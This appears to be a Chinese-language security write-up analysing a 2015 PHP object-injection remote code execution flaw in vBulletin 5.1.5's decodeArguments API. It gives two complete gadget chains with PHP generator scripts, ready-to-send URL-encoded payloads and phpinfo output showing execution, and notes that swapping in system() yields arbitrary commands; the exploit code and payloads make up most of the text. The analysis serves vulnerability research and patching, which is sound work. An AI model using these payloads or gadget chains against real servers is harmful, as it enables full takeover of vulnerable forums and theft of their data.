

vBulletin vB_Api_Hook->decodeArguments RCE 分析

介绍：

vBulletin 是一个国外著名的商业论坛程序。前几天因官网被黑，而被暴出一个命令执行漏洞。

我们最早获得的一篇分析是在 Pastie 上的 [http://pastie.org/pastes/10527766/text?](http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq)

[key=wq1hgkcj4afb9ipqzllsq](http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq)，但是经过测试，我们可以确认漏洞存在，但是里面的 POC 我们却未能测试成功。

分析：

测试版本：vBulletin 5.1.5

1.漏洞出现原因：

文件`/core/vb/api/hook.php`：

在类 vB_Api_Hook 的类函数 decodeArguments 中：

```
```php
public function decodeArguments($arguments)
{
 if ($args = @unserialize($arguments))
 {
 $result = "";

 foreach ($args AS $varname => $value)
 {
 $result .= $varname;

 if(is_array($value))
 {
 $this->decodeLevel($result, $value, '=');
 }

 $result .= "\n";
 }
 ...//ignore
 }
}
```

直接对`\$arguments`参数直接进行反序列化操作，导致漏洞产生。

对于`unserialize`函数何种情况下会产生危害，可以查看：

[https://www.owasp.org/index.php/PHP\\_Object\\_Injection](https://www.owasp.org/index.php/PHP_Object_Injection)

### 2.POC：

vBulletin 中没有可以直接利用的 magic 函数，所以我们需要结合多个类使用。

#### 2.1.Pastie 中的 POC

Pastie 中\_cutz 给出的是利用重写`vB\_Database`类中的`\$functions['free\_result']`，然后通过`vB\_dB\_Result`类来调用。

##### 2.1.1.类 vB\_Database

类`vB\_Database`的声明在文件`/core/vb/database.php`中，里面有这么一个类函数：

```
```php
function free_result($queryresult)
```

```
{
    $this->sql = "";
    return @$this->functions['free_result']($queryresult);
}
...
```

`\$queryresult` 变量可控，只要我们能重写`\$this->functions['free_result']`，就能执行任意函数。

比如`\$this->functions['free_result']='system'`，`\$queryresult='ifconfig'`，这样`return`

`\${this->functions['free_result'](\$queryresult)}`就变成了`return @system('ifconfig')`。

然后通过`unserialize`函数，我们可以直接重写`\$this->functions['free_result']`，也就是`cutz`给出的：

```
```php
class vB_Database {
 public $functions = array();
 public function __construct()
 {
 $this->functions['free_result'] = 'phpinfo';
 }
}
...
```

然后我们需要找个调用`vB\_Database->free\_result(\$queryresult)`的类。

### 2.1.2.类 vB\_dB\_Result

类`vB\_dB\_Result`在文件`/core/vb/db/result.php`中。

里面有两个 magic 函数，`\_\_construct()`和`\_\_destruct()`。

```
```php
public function __construct(&$db, $querystring, $useSlave = false)
{
    $this->querystring = $querystring;
    $this->db = $db;
    $this->useSlave = $useSlave;
    $this->rewind();
}
...
```php
public function __destruct()
{
 $this->free();
}
...
```

调用到`vB\_Database->free\_result(\$queryresult)`的有两个类函数，`rewind()`和`free()`。

```
```php
public function rewind()
{
    //no need to rerun the query if we are at the beginning of the recordset.
    if ($this->bof)//这里默认情况下为 false
    {
        return;
    }

    if ($this->recordset)
    {
        $this->db->free_result($this->recordset);
    }

    ...//ignore
}

```

```

...
```php
public function free()
{
 if (isset($this->db) AND !empty($this->recordset) AND is_resource($this->recordset))
 {
 $this->db->free_result($this->recordset);
 }
}
...

```

我们可以看到连个 magic 函数都间接调用到了 `vB\_Database->free\_result(\$queryresult)`。

我们测试 `unserialize` 为类时，`\_\_construct` 并不会被执行，而 `\_\_destruct` 会执行。

那我们利用 `\_\_destruct` 可以吗？

但是 `\_\_destruct->free` 里面有 `if (isset(\$this->db) AND !empty(\$this->recordset) AND is\_resource(\$this->recordset))`，`is\_resource(\$this->recordset)` 这个不好绕过，即使绕过了，当我们调用 `vB\_Database->free\_result(\$queryresult)->\$this->functions['free\_result'](\$queryresult)` 时，`\$queryresult` 参数也不好操作。

但是 vB\_dB\_Result 类实现了 ( implements ) Iterator 类，Iterator 在 foreach 中会自动调用 rewind 函数 (<http://php.net/manual/zh/class.iterator.php>)。在 vB\_Api\_Hook 类的 decodeArguments 函数里就有对 \$args 的 foreach 操作 (\$args = @unserialize(\$arguments))。

### 2.1.3. 利用

\*首先从 vB\_Database 类开始:

\$this->functions['free\_result']: 重写为我们想要的函数，如 phpinfo, system 等

```

class vB_Database {
 public $functions = array();
 public function __construct()
 {
 $this->functions['free_result'] = 'phpinfo';
 }
}

```

但是 vB\_Database 为抽象类，所以我们要找个继承 vB\_Database 的类来使用，如 vB\_Database\_MySQL 类和 vB\_Database\_MySQLi 类。

```

class vB_Database_MySQL {
 public $functions = array();
 public function __construct()
 {
 $this->functions['free_result'] = 'phpinfo';
 }
}

```

\*到 vB\_dB\_Result 类：

\$this->db: 覆盖为上面被修改过的 vB\_Database\_MySQL。

\$this->recordset: 我们要传入函数的参数。

```

class vB_dB_Result {
 protected $db;
 protected $recordset;

 public function __construct()
 {
 $this->db = new vB_Database_MySQL();
 $this->recordset = 1;
 }
}

```


```

}
*结合上述两个类，序列化输出：
print '/ajax/api/hook/decodeArguments?arguments=
'.urlencode(serialize(new vB_dB_Result())) . "\n";
*POC:
PHPINFO : /ajax/api/hook/decodeArguments?arguments=
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A
%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs
%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A
%00recordset%22%3Bi%3A1%3B%7D
*完整代码：
```php
<?php
class vB_Database_MySQL {
    public $functions = array();
    public function __construct()
    {
        $this->functions['free_result'] = 'phpinfo';
    }
}
class vB_dB_Result {
    protected $db;
    protected $recordset;

    public function __construct()
    {
        $this->db = new vB_Database_MySQL();
        $this->recordset = 1;
    }
}
print '/ajax/api/hook/decodeArguments?arguments=
'.urlencode(serialize(new vB_dB_Result())) . "\n";
?>
```

```

o/upload/ajax/api/hook/decodeArguments?arguments=O%3A12%3A"vB\_dB\_Result"%3A2%3A%7Bs%3A5

| <div> <div>PHP Version 5.4.45</div> <div></div> </div> |                                                                                                                                                                                                                                                                                                                                                                                              |
|---------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| System                                                                                                                                      | Linux localhost.localdomain 2.6.32-504.23.4.el6.x86_64 #1 SMP Tue Jun 9 20:57:37 UTC 2015 x86_64                                                                                                                                                                                                                                                                                             |
| Build Date                                                                                                                                  | Sep 9 2015 14:53:58                                                                                                                                                                                                                                                                                                                                                                          |
| Server API                                                                                                                                  | Apache 2.0 Handler                                                                                                                                                                                                                                                                                                                                                                           |
| Virtual Directory Support                                                                                                                   | disabled                                                                                                                                                                                                                                                                                                                                                                                     |
| Configuration File (php.ini) Path                                                                                                           | /etc                                                                                                                                                                                                                                                                                                                                                                                         |
| Loaded Configuration File                                                                                                                   | /etc/php.ini                                                                                                                                                                                                                                                                                                                                                                                 |
| Scan this dir for additional .ini files                                                                                                     | /etc/php.d                                                                                                                                                                                                                                                                                                                                                                                   |
| Additional .ini files parsed                                                                                                                | /etc/php.d/curl.ini, /etc/php.d/dom.ini, /etc/php.d/fileinfo.ini, /etc/php.d/gd.ini, /etc/php.d/json.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini, /etc/php.d/phar.ini, /etc/php.d/sqlite3.ini, /etc/php.d/wddx.ini, /etc/php.d/xmlreader.ini, /etc/php.d/xmlwriter.ini, /etc/php.d/xsl.ini, /etc/php.d/zip.ini |
| PHP API                                                                                                                                     | 20100412                                                                                                                                                                                                                                                                                                                                                                                     |

## 2.2.其它利用分析

这利用方法不是我们自己发现。当我们陷入死胡同后，Check Point Research Team 的一篇分析给了我们光明，在此和大家分享。

<http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/>

### 2.2.1.vB\_vURL 类

我们通过搜索 magic 函数，在类 `vB\_vURL` 中的 `\_\_destruct` 中找到：

```
```php
function __destruct()
{
    if (file_exists($this->tmpfile))
    {
        @unlink($this->tmpfile);
    }
}
```
```

这时 `\$this->tmpfile` 可被我们重写，但是这也只是个任意文件删除漏洞。难道就没有更好的利用方式了吗？这时我们想到了 `\_\_toString`。

当 `\$this->tmpfile` 为一个对象时，`file\_exists(\$this->tmpfile)` 执行时，`\$this->tmpfile->\_\_toString` 也会执行。

但是我们通过搜索了含有 `\_\_toString` 的类，并没有找到什么有用的东西。

这时，我们开始寻找继承类，那些继承了含有 `\_\_destruct` 或 `\_\_toString` 的类。

找了好久，有几个类引起了我们的注意，其中一个就是 `vB\_View\_AJAXHTML`。

### 2.2.2.vB\_View\_AJAXHTML 类

`vB\_View\_AJAXHTML` 类在文件 `core/vb/view/ajaxhtml.php` 中。

`vB\_View` 类在文件 `core/vb/view.php` 中。

类 `vB\_View\_AJAXHTML` 继承了 `vB\_View` 类。

在 `vB\_View` 类中有 `\_\_toString`：

```
```php
public function __toString()
{
    try
    {
        return $this->render();
    }
    catch(vB_Exception $e)
    {
        //If debug, return the error, else
        return "";
    }
}
```
```

`vB\_View` 类中的类函数 `render` 对我们来说没什么利用价值，但是在继承类 `vB\_View\_AJAXHTML` 中重新声明了类函数 `render`。

`vB\_View\_AJAXHTML` 类中的 `render()`:

```
```php
public function render($send_content_headers = false)
{

```

```

require_once(DIR . '/includes/class_xml.php');
$xml = new vB_XML_Builder_Ajax('text/xml');

$xml->add_group('container');
$xml->add_tag('success', 1);

if ($this->content)
{
    $xml->add_tag('html', $this->content->render());
}
...//ignore
}
...

```

这里，我们只要覆盖\$this->content 就能调用任何\$obj->render()。

2.2.3. vB5_Template 类

我们搜索`function render`看是否有可利用的 render 函数。之后在类`vB5_Template`中找到这个：

```

```php
public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
{
 static $user = false;

 if (!$user)
 {
 $user = vB5_User::instance();
 }

 $config = vB5_Config::instance();

 $this->register('user', $user, true);
 extract(self::$globalRegistered, EXTR_SKIP | EXTR_REFS);
 extract($this->registered, EXTR_OVERWRITE | EXTR_REFS);
 ...//ignore
 $templateCache = vB5_Template_Cache::instance();
 $templateCode = $templateCache->getTemplate($this->template);

 if(is_array($templateCode) AND !empty($templateCode['textonly']))
 {
 $final_rendered = $templateCode['placeholder'];
 }
 else if($templateCache->isTemplateText())
 {
 @eval($templateCode);
 }
 else
 {
 if ($templateCode !== false)
 {
 @include($templateCode);
 }
 }
 ...//ignore
}

```

```
} ...
```

这里只要\$templateCode 我们可控，这样就可以执行任意代码了。

我们跟进\$templateCache->getTemplate()函数。

下面又分析了好久发现跟进后并没有什么用。

后面看了 Check Point Research Team 的那篇分析，发现可以以加载的模版为突破口。

注: vBulletin 一般将 template 代码存储在数据库中，需要从数据库获取并执行。

```
```bash
```

```
mysql> describe vb_template;
```

Field	Type	Null	Key	Default	Extra
templateid	int(10) unsigned	NO	PRI	NULL	auto_increment
styleid	smallint(6)	NO	MUL	0	
title	varchar(100)	NO	MUL		
template	mediumtext	YES		NULL	
template_un	mediumtext	YES		NULL	
templatetype	enum('template','stylevar','css','replacement')	NO			template
dateline	int(10) unsigned	NO		0	
username	varchar(100)	NO			
version	varchar(30)	NO			
product	varchar(25)	NO			
mergestatus	enum('none','merged','conflicted')	NO		none	
textonly	smallint(6)	NO		0	

```
12 rows in set (0.00 sec)
```

```
...
```

我们直接按那篇报告的流程来，获取 title 为 widget_php 的代码内容。

```
```bash
```

```
mysql> select template from vb_template where title = 'widget_php';
```

```
...//ignore
```

```
if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {
 $final_rendered .= '
 ' . "'; $evaluatedPHP = vB_Template_Runtime::parseAction('bbcode', 'evalCode',
$widgetConfig['code']); $final_rendered .= " . '
 ' . $evaluatedPHP . '
';
 } else {
 $final_rendered .= '
 ' . "'; if ($user['can_use_sitebuilder']) {
```

```

 $final_rendered .= '
 ' .
vB_Template_Runtime::parsePhrase("click_edit_to_config_module") . '
 '
 ;
 } else {
 $final_rendered .= "
...//ignore
...

```

这里\$evaluedPHP = vB\_Template\_Runtime::parseAction('bbcode', 'evalCode', \$widgetConfig['code'])可当作 eval(\$widgetConfig['code'])。

现在我们只需覆盖\$widgetConfig['code']这个变量，在 vB5\_Template 的 render 里有

```

```php
extract(self::$globalRegistered, EXTR_SKIP | EXTR_REFS);
extract($this->registered, EXTR_OVERWRITE | EXTR_REFS);
```

```

我们可以覆盖 self::\$globalRegistered 或者\$this->registered，然后 extract 以后再覆盖\$widgetConfig['code']。

这时就能从一个 unserialize 到命令执行了。

#### 2.2.4.利用思路

\*从 **vB5\_Template** 开始，我们需要覆盖：

\$this->registered: 用在 extract(\$this->registered, EXTR\_OVERWRITE | EXTR\_REFS)，覆盖变量\$widgetConfig['code']。

\$this->template: 覆盖为 widget\_php, 使\$templateCode = \$templateCache->getTemplate(\$this->template)获取到的是 template widget\_php。

```

class vB5_Template{
 protected $registered = array();
 protected $template = "
 public function __construct()
 {
 $this->registered = array("widgetConfig"=>array("code"=>"phpinfo();die();"));
 $this->template = 'widget_php';
 }
}

```

\*到 **vB\_View AJAXHTML**，我们需要覆盖：

\$this->content: 覆盖为我们修改过的(new vB5\_Template)。

```

class vB_View_AJAXHTML{
 protected $content;
 public function __construct()
 {
 $this->content = new vB5_Template();
 }
}

```



```
}
}
```

\*到 **vB\_vURL** , 我们需要覆盖 :

\$this->tmpfile: 覆盖为我们修改过的(new vB\_View\_AJAXHTML)。

```
class vB_vURL{
 var $tmpfile = null;
 public function __construct()
 {
 $this->tmpfile = new vB_View_AJAXHTML();
 }
}
```

\*结合上述三个类 , 序列化输出 :

```
print '/ajax/api/hook/decodeArguments?arguments=
' . urlencode(serialize(new vB_vURL())) . "\n";
```

**\*POC** : /ajax/api/hook/decodeArguments?arguments=

O%3A7%3A%22vB\_vURL%22%3A1%3A%7Bs%3A7%3A%22tmpfile%22%3BO%3A16%3A  
%22vB\_View\_AJAXHTML%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00content%22%3BO%3A12%3A  
%22vB5\_Template%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Ba%3A1%3A%7Bs  
%3A12%3A%22widgetConfig%22%3Ba%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A  
%22phpinfo%28%29%3Bdie%28%29%3B%22%3B%7D%7Ds%3A11%3A%22%00%2A%00template  
%22%3Bs%3A10%3A%22widget\_php%22%3B%7D%7D%7D

vb/vb/upload/ajax/api/hook/decodeArguments?arguments=O%3A7%3A"vB\_vURL"%3A1%3A%7Bs%3A7%3A"tmpfile"%

## PHP Version 5.4.45



|                                         |                                                                                                                                                                                                                                                                                                                                                                                              |
|-----------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| System                                  | Linux localhost.localdomain 2.6.32-504.23.4.el6.x86_64 #1 SMP Tue Jun 9 20:57:37 UTC 2015 x86_64                                                                                                                                                                                                                                                                                             |
| Build Date                              | Sep 9 2015 14:53:58                                                                                                                                                                                                                                                                                                                                                                          |
| Server API                              | Apache 2.0 Handler                                                                                                                                                                                                                                                                                                                                                                           |
| Virtual Directory Support               | disabled                                                                                                                                                                                                                                                                                                                                                                                     |
| Configuration File (php.ini) Path       | /etc                                                                                                                                                                                                                                                                                                                                                                                         |
| Loaded Configuration File               | /etc/php.ini                                                                                                                                                                                                                                                                                                                                                                                 |
| Scan this dir for additional .ini files | /etc/php.d                                                                                                                                                                                                                                                                                                                                                                                   |
| Additional .ini files parsed            | /etc/php.d/curl.ini, /etc/php.d/dom.ini, /etc/php.d/fileinfo.ini, /etc/php.d/gd.ini, /etc/php.d/json.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini, /etc/php.d/phar.ini, /etc/php.d/sqlite3.ini, /etc/php.d/wddx.ini, /etc/php.d/xmlreader.ini, /etc/php.d/xmlwriter.ini, /etc/php.d/xsl.ini, /etc/php.d/zip.ini |
| PHP API                                 | 20100412                                                                                                                                                                                                                                                                                                                                                                                     |
| PHP Extension                           | 20100525                                                                                                                                                                                                                                                                                                                                                                                     |
| Zend                                    | 220100525                                                                                                                                                                                                                                                                                                                                                                                    |

\*完整代码：

```
```\php
<?php
class vB5_Template{
    protected $registered = array();
    protected $template = "";
    public function __construct()
    {
        $this->registered = array("widgetConfig"=>array("code"=>"phpinfo();die();"));
        $this->template = 'widget_php';
    }
}
class vB_View_AJAXHTML{
    protected $content;
    public function __construct()
    {
        $this->content = new vB5_Template();
    }
}
class vB_vURL{
    var $tmpfile = null;
    public function __construct()
    {
        $this->tmpfile = new vB_View_AJAXHTML();
    }
}
print '/ajax/api/hook/decodeArguments?arguments=
'.urlencode(serialize(new vB_vURL())) . "\n";

?>
...
```

相关链接：

<https://theadminzone.com/threads/vbulletin-com-forums-hacked.136961/>

<http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/>

<http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq>

<http://www.vbulletin.org/forum/showthread.php?p=2558144>

<http://archive.hack.lu/2015/They%20Hate%20Us%20Cause%20They%20Ain't%20Us.pdf>